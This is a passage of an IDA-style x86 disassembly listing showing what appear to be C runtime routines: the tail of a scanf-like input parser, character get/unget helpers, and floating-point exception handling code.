		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C2F8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C504
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C504, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C504, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C504, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C504, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C2F8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CC70, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB278, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CC70, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 264040Ch
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
